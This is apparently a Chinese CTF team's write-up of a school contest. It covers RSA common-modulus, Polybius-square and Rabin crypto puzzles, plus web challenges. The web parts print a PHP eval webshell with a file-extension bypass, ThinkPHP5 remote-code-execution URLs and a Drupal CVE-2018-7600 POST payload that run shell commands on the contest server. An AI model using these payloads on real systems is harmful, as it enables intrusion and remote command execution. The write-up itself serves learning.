Contents
  1. 1. 前言
  2. 2. Crypto
    1. 2.1. 现代密码签到题
  3. 3. Web
    1. 3.1. ez-upload
    2. 3.2. Tp5
  4. 4. CVE
  • Crypto
    1. 1. 现代密码签到题
    2. 2. 古典密码签到题
  • First Level
  • 前言

    By 窝不管窝的flag都队

    学校的月赛,还是要参加的,大部分是队友做的

    Crypto

    现代密码签到题

    打开题目,下载了一个cipher文件,查看如下图
    FdmltK.png

    可以猜测出是RSA密码,
    但是也需要点脑洞
    (‘O’, ‘I’, ‘Z’, ‘E’, ‘A’, ‘S’, ‘b’, ‘T’, ‘B’, ‘g’)-分别对应0,1,2,3,4,5,6,7,8,9

    这样,把英文字符转换成对应的数字,然后再进行解密

    解密脚本(大佬写的)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    # coding=utf-8
    import string
    import gmpy2
    import itertools

    def egcd(a, b):
    if a == 0:
    return b, 0, 1
    else:
    g, y, x = egcd(b % a, a)
    return g, x - b // a * y, y

    def main():
    alpha = ['O','T','A','B','b','Z','I','E','S','g']
    alphaPermu = list(itertools.permutations(alpha))
    num = ['0','1','2','3','4','5','6','7','8','9']
    for x in alphaPermu:
    flag = False
    # print(x)
    nn = "xxxx"
    c1 = "xxxx"
    c2 = "xxxx"
    e1 = "x"
    e2 = "x"
    for i in range(10):
    if (x[i] == 'I' or x[i] == 'g') and i%2 == 0:
    flag = True
    break
    nn = nn.replace(x[i],num[i])
    c1 = c1.replace(x[i],num[i])
    c2 = c2.replace(x[i],num[i])
    e1 = e1.replace(x[i],num[i])
    e2 = e2.replace(x[i],num[i])
    if flag:
    continue
    n = int(nn,10)
    c1 = int(c1,10)
    c2 = int(c2,10)
    e1 = int(e1,10)
    e2 = int(e2,10)
    if gmpy2.gcd(e1,e2) != 1:
    continue
    s = egcd(e1, e2)
    s1 = s[1]
    s2 = s[2]
    if s1 < 0:
    s1 = -s1
    try:
    c1 = gmpy2.invert(c1, n)
    except ZeroDivisionError:
    continue
    elif s2 < 0:
    s2 = -s2
    try:
    c2 = gmpy2.invert(c2, n)
    except ZeroDivisionError:
    continue

    m = pow(c1, s1, n) * pow(c2, s2, n) % n
    try:
    temp = '{:x}'.format(m).decode('hex')
    if 'flag' in temp:
    print(x)
    print(temp)
    break
    except TypeError:
    pass

    if __name__ == '__main__':
    main()

    即可得到flag

    Web

    ez-upload

    Fdmo3F.png

    一道文件上传题,要绕过一下,不能提交php,asp等文件
    新建一个文件,构建一句话

    1
    <?php eval($_POAT['ee']); ?>

    绕过问题的话就是后缀名的问题
    (开始尝试了很多.php;.jpg、.php.abc都不行,可以成功上传,但是菜刀连接不到数据库),最后,更改后缀名为.php5才可以。

    上传成功后,回显出一个文件路径,
    FdmjN6.png

    访问后无回显,果断用菜刀试一下,右键添加,进行如下设置
    FdnPud.png

    即可拿到文件管理的权限
    FdnFHI.png

    当前目录下无flag文件,最终在根目录下找到flag文件
    FdneC8.png

    Tp5

    打开题目,如下
    FdnMuj.png

    这是thinkPHP v5,而thinkPHP5前段时间公布了一个远程命令执行漏洞
    这里正好可以利用一下。
    直接用现成的(没记住)payload:

    1
    http://219.219.61.234:10005/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls 

    (最后一个等于号后面可以直接输命令,ls 会回显当前目下的文件)

    可以看到当前目录下的文件,发现没有flag文件
    Fdnt8U.png

    修改命令为 ls / 查看根目录
    payload:

    1
    http://219.219.61.234:10005/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20/

    FdnDV1.png

    发现flag文件,查看该文件用cat /flag
    payload:

    1
    http://219.219.61.234:10005/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

    拿到flag
    Fdnfrd.png

    CVE

    hint不需要扣分,就窥视了一下,提示是drupal7的CVE漏洞,听都没听说过,Google一波,学习到了,贴个链接:

    https://www.menzel3.fun/2018/08/02/Drupal%20CVE2018-7600/#Drupal7-

    https://www.jianshu.com/p/7c410db788ed

    先创建账号,发现不可以发送email,google到的结果告诉我更换新密码的页面是存在漏洞的,所以输入用户名的时候

    直接拿bp截断:

    构造post:

    1
    2
    3
    ?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=system&name%5B%23markup%5D=ls%20/&name%5B%23type%5D=markup

    form_id=user_pass&_triggering_element_name=name

    这里原来的命令需要修改,将其改为ls%20/,目的是查看根目录,Go一下回显form_build_id

    保留这个form_build_id,拿hackbar post一下这个form_build_id,如下图:

    抓包截断,go一下回显根目录,发现flag文件,

    下一步就要继续尝试打开这个flag文件,所以重复上述操作,将之前的ls命令换成cat%20/flag

    即可(需要注意的就是这里的空格需要使用url编码%20,之前没有注意到这个点,导致回显不出数据)

    Crypto

    现代密码签到题

    看到n, c1, c2, e1, e2,猜测这题考的是《密码学》课程中刚学的RSA共模攻击,要求明文m。

    先统计下n中的各字符出现频率:

    序号 字词 频次 频率 %
    1 O 72 11.6694
    2 T 69 11.1831
    3 A 65 10.5348
    4 B 63 10.2107
    5 b 62 10.0486
    6 Z 62 10.0486
    7 I 60 9.7245
    8 E 56 9.0762
    9 S 56 9.0762
    10 g 52 8.4279

    再统计下c1中的:

    序号 字词 频次 频率 %
    1 Z 72 11.6694
    2 I 67 10.859
    3 E 66 10.6969
    4 S 65 10.5348
    5 b 62 10.0486
    6 g 60 9.7245
    7 B 59 9.5624
    8 O 58 9.4003
    9 A 55 8.9141
    10 T 53 8.59

    发现只有10种字符,猜测他们对应数字0~9。那我们就可以列出他们的全排列,然后直接用算法。

    优化:

    因为n = pq,而p, q应该都是素数,那么个位肯定是奇数。

    因为gcd(e1,n) == gcd(e2,n) == 1,所以e1和e2的个位也是奇数。

    最后直接十六进制解密。

    Python脚本:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    # coding=utf-8
    import string
    import gmpy2
    import itertools

    def egcd(a, b):
    if a == 0:
    return b, 0, 1
    else:
    g, y, x = egcd(b % a, a)
    return g, x - b // a * y, y

    def main():
    alpha = ['O','T','A','B','b','Z','I','E','S','g']
    alphaPermu = list(itertools.permutations(alpha))
    num = ['0','1','2','3','4','5','6','7','8','9']
    for x in alphaPermu:
    flag = False
    # print(x)
    nn = "ZZTOBOTBBISBBSOIIAbZAbZOAgObAEEgIBSBgBTIZAEgZTTZZbBEIOTEASTBBBAOEIZgETBSATESOZgZAZOZbTOIbSSIBIgOSZAEOTTgOOATSSBAbbAgOAAOOIOZAIAIABSZBEZBbABEIEOTOZbIbOSTZTAbgBATEbIIIAgSOBTgBBbgTObEATSOIgEISBEIITbEZTIOTOOTBTZZBOIbABOIZTbTTEgEbAggZgSEOAIbSgBbBbOZTESAZIbAZZSbSgEAASgOISIbIgZTbIEbOTgOZBEISAZBSTgTTBSgbIZSgbZBZESEbTgEZTTTEEOETZTOOAAOTZbZIgTZEISBbEZASggIBIgBESTZbZZAOASgOESAOBASAITBBObZZbZIbASIOIAObOSBbBIZZAIOEBBOgOITAAZOIATTSZAOBSSAIZgTBgTbOgOZEOOBgBOAbZTEgOgOOTBSZBIBATAOEOTTObggbATbATEbEOISIOZIIBgSbTETbTEgAIESAZITbgZbgbOAAgbgbgSEOBSObAEbSTEIAZSbSSTEABTSBESOTOETESbgAABABOEgBbAEBZEEgZIbZbbbTObTESbTABBBTISOBgZSEIIISABOI"
    c1 = "ZZEZZOESZTSbbEZETOAIbAbBgETTOASIgEESOgEZATOIgIEABAEOEEEBOTbZIObOESAZbIZTSBgSbZbZBbgbAOBZZABbATOIZIIAgAZAABSSTIEbIOOTAZIZgEbTSSIbEEBBZZIgSZBOEIETgAggIIEbOABIAOgIBBAZATIZIgBAOZbESEbEEBBBbZSOAgZbBZTEgAEbAIOOIEAEbbSIIbITZOTZSBSSABABbbbgOOBATBBTZIEAgSSSbbZOIgBTgOBISOIIIEZZZggbIZEEOSSEEOOgEZSgbAETTTgBBgZTOEIbISZIBSZBOSgSbBIIZIgSbEBBEEIZBgbEEOISbZgBbZIbTAbBAESEgIgSATSSBIZTgZOgZSTObBAZBOBgIATbZIggOIIOSAgSSBIbSEAgTTbTSZbTEgSOOgSTSEATBZOEBTOTEABEgZBAZSObbSEbEbIABZTTABgZETOgbgSZOTAOEOAZBTASbSSSSOBgEEETZTBZEZTSObSbgOIOTTZSETAgTSAITbAEIIAZgOSZZIbZgIIgBgEZOgZbITTgZbASZSEgOIATBgIOBOISgZBTBZOESbABbIIIBgIZOASAbAgSgBEZSbbOSIEbI"
    c2 = "IBTOZOIOOASIBTOISSSbSABbgIbAZEgAgBZBESbbgZbZIATZEOZIZTEIEOggEBbTSZZbASBSSSZIOAZSgTZAZgAIBAAgZTEAIOSESEBTgBSgEIOEbTIIBSAZbSbZEgOSObbBOSbbSTSIBOEZbgIObBBOTAbTbgOOEATBgOOTgIOggSgOZEgSIEgZSAAgTABBIAOTSgOAOITATISBSSTZBABATESSbAgOSbSASOObZbbATObAAgIZBAISBEATBTgbIgATZbbZSgTBgTBSgbZgZZZEBTOIIEAOTgTZOAIAZZBAIAObbIgEOTIAgSEOAbIZEAIOSZgBTASSbISgEOOZESEbBZEBOIAggZbgTTEESTIBbOBTASZTATSOOBAObAOAIgEbSOIISSAAZIIBEOETSOSbSEAbIZBbTEZTAOgBETOZTAOBZZbTIIABOASbIgAgTbbTIBASBbIZEbSTZBSbOAObIBTSbSEgOgSbTBZZEZBgIAObSEETTgTTEEAAAbAOESISIBTTSABTbAgBIggTBZbZEbEbITZbSTgTgBZBAEITgbEOBBBTZgAOTZEBAgbbSOgBTTZOAZBTOBZITIISZSTgBgOOTBbTEEIbgBEgT"
    e1 = "IIIBTZBg"
    e2 = "gbATZgI"
    for i in range(10):
    if (x[i] == 'I' or x[i] == 'g') and i%2 == 0:
    flag = True
    break
    nn = nn.replace(x[i],num[i])
    c1 = c1.replace(x[i],num[i])
    c2 = c2.replace(x[i],num[i])
    e1 = e1.replace(x[i],num[i])
    e2 = e2.replace(x[i],num[i])
    if flag:
    continue
    n = int(nn,10)
    c1 = int(c1,10)
    c2 = int(c2,10)
    e1 = int(e1,10)
    e2 = int(e2,10)
    if gmpy2.gcd(e1,e2) != 1:
    continue
    s = egcd(e1, e2)
    s1 = s[1]
    s2 = s[2]
    if s1 < 0:
    s1 = -s1
    try:
    c1 = gmpy2.invert(c1, n)
    except ZeroDivisionError:
    continue
    elif s2 < 0:
    s2 = -s2
    try:
    c2 = gmpy2.invert(c2, n)
    except ZeroDivisionError:
    continue

    m = pow(c1, s1, n) * pow(c2, s2, n) % n
    try:
    temp = '{:x}'.format(m).decode('hex')
    if 'flag' in temp:
    print temp
    break
    except TypeError:
    pass

    if __name__ == '__main__':
    main()

    等了大概半分钟,出现flag:

    img

    古典密码签到题

    密文:

    1
    ksyssskkysynbssbbnynnb

    提示:

    棋盘不是万能的,没有棋盘是万万不能的。

    联想棋盘密码,刚好密文中只有5中字符:k, s, y, n, b。

    两个一组查表,C++爆破脚本如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    #include<bits/stdc++.h>
    using namespace std;
    typedef long long ll;
    const int maxn = 99;
    char alpha[] = "abcdefghiklmnopqrstuvwxyz";
    char cipher[] = "ksyssskkysynbssbbnynnb";
    char tbl[] = "ksynb";
    int main()
    {
    int len = strlen(cipher);
    do
    {
    char flag[99];
    map<char,int> m;
    for(int i = 0; i < 5; i++)
    {
    m[tbl[i]] = i;
    }
    int j = 0;
    for(int i = 0; i < len; i += 2)
    {
    int t = m[cipher[i]]*5+m[cipher[i+1]];
    flag[j++] = alpha[t];
    }
    flag[j] = 0;
    printf("%s\n",flag);
    }while(next_permutation(tbl,tbl+5));
    return 0;
    }

    得到运行结果:(一共5! = 120 种)

    1
    bmgamowkyou ekzakipxois ditaikospkx ekzakhuysho ditaihyuxhp chnahksouky chnahixpyiu oytnyvirfvb puznuqkwfqb sxntxvhmfvb xsnzsqhmfqb upztplkwflb yotzolirflb iytgyvoslvc kuzguqpxlqc hxngxvsoqvd hsngsqxpvqe kpzgpluyqld iotgolyuvle rwgtwvmhlvc wrgzrqmhlqc mwgnwvriqvd mrgnrqwkvqe wmgzmlriqld rmgtmlwkvle ukztkfpxlfc yitzifoslfc pkznkfuyqfd oitnifyuvfe xhnzhfsoqfd shnthfxpvfe lvanvyfbiyr lqanqufbkuw qvatvxfbhxm vqazqsfbhsm qlatlpfbkpw vlazlofbior fvagvylcoys fqagqulcpux fvagvxqdsxo fqagqsvexsp flaglpqdupy flagloveyou qvatvwlcmwh vqazqrlcmrh lvanvwqdrwi lqanqrvewrk vlazlmqdrmi qlatlmvewmk qfatfklcpkx vfazfilcois lfanfkqduky lfanfiveyiu vfazfhqdsho qfatfhvexhp peznedkwidr odtndeirkew uezteckwhcm ydtzdcirhcm scntcehmkew xcnzcdhmidr kezgedpxods idtgdeospex kezgecuysco idtgdcyuxcp hcngcesouey hcngcdxpydu ueztebpxmbh ydtzdbosmbh peznebuyrbi odtndbyuwbk xcnzcbsorbi scntcbxpwbk rbgtbemhpex wbgzbdmhods mbgnberiuey mbgnbdwkydu wbgzbcrisco rbgtbcwkxcp

    复制进npp,搜索flag,得到:

    1
    flaglpqdupy flagloveyou

    肯定是选择第二个。

    First Level

    文件给出n, e, c。

    推测是RSA密码,e很小,联想到刚学的低加密指数攻击,在Google上搜了很久,试了各种脚本,发现解不出d。

    后来,才想起来前提gcd(e,φ(n)) = 1(两者要互素),但是e = 2,而φ(n)一定是偶数,所以互素显然不能成立。

    然后试了试比较暴力的方法:

    1
    2
    3
    4
    5
    6
    i=0
    while 1:
    if(gmpy2.root(c+i*n, 2)[1]==1):
    print gmpy2.root(c+i*n, 2)
    break
    i=i+1

    但是用它跑了几小时都出不了结果。

    我甚至还用yafu把因数分解出来了。(下载地址:https://sourceforge.net/projects/yafu/)

    img

    但是还是没有方法解出来。

    然后怀疑人生,然后用Google搜了下RSA e = 2,然后发现有个类似的密码体制和RSA相似,而且它的加密指数就是2!

    Python脚本解决:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    import gmpy2

    def rabin_decrypt(c, p, q, e=2):
    n = p * q
    mp = pow(c, (p + 1) / 4, p)
    mq = pow(c, (q + 1) / 4, q)
    yp = gmpy2.invert(p, q)
    yq = gmpy2.invert(q, p)
    r = (yp * p * mq + yq * q * mp) % n
    rr = n - r
    s = (yp * p * mq - yq * q * mp) % n
    ss = n - s
    return (r, rr, s, ss)
    c = 499900287907163903863770127517451824950591449854220282014018552802396943304674724533357663876916175459043411887269615620980351359674373127551283923032759205525834407466303318140213222438375548066871397251493100247836770129792554768759516349058673615081761638343932256849889604058608747531941928982832585706361391950223948529046950139043176720742038526998231448270490097134641169635210567151369533018545746204046992368621334939029582400285322777365958482219075297507215203709356125635202625121091161318566582307478931230962853531285514124459092351456397307588024613094226807792165876133269038363995037219677926220967578191033480631890589761476293394613074763877465067481353073032261829035532832262390121385388328585967620567497069930361644409182632934629875953161754678971744082331335000439916510067572742641854184303838362027247026467270857712018679364014951870327424723286991989268813839644982317838329022551033151317911958707603833070206941532496854730739054206016872958750645705043270396511543390465607172543992216405734971188437702405334334961918445724163241075322921116618280425131683507843396376626705861243420399065472311770119489811395486846742327683616439776584876654620796349661745998246254486950516901889112077176621805823
    p = 28349223152666012309896421767725787316124897111416473420803849019741154117582482568645254183215552986563114855665416593397403745371086355268654763921803558654340155902194948080056226592560917521612824589013349044205989541259468856602228462903448721105774109966325479530181197156476502473067978072053273437369680433495259118953717909524799086692640103084287064091489681162498108275295255082627807077949841602061428289272700263987438087045434043977981316071156426134695316796020506076336851840708593720052204359360366058549157961154869248835793804817253083037277453771408544063058190126149127240681909811943783388977967
    q = 28349223152666012309896421767725787316124897111416473420803849019741154117582482568645254183215552986563114855665416593397403745371086355268654763921803558654340155902194948080056226592560917521612824589013349044205989541259468856602228462903448721105774109966325479530181197156476502473067978072053273437369680433495259118953717909524799086692640103084287064091489681162498101607280822202773532998098050880803631144514377948079277690787622279940743498439084904702494445241729763146426258407468147831250550239995285695193105630324823153678214290802694619958991541957383815098042054239547145549933872335482492225099839

    X = rabin_decrypt(c, p, q, e=2)
    for x in X:
    t = '{:x}'.format(x).decode('hex')
    if 'flag' in t:
    print t

    运行结果:

    img

    Contents
    1. 1. 前言
    2. 2. Crypto
      1. 2.1. 现代密码签到题
    3. 3. Web
      1. 3.1. ez-upload
      2. 3.2. Tp5
    4. 4. CVE
  • Crypto
    1. 1. 现代密码签到题
    2. 2. 古典密码签到题
  • First Level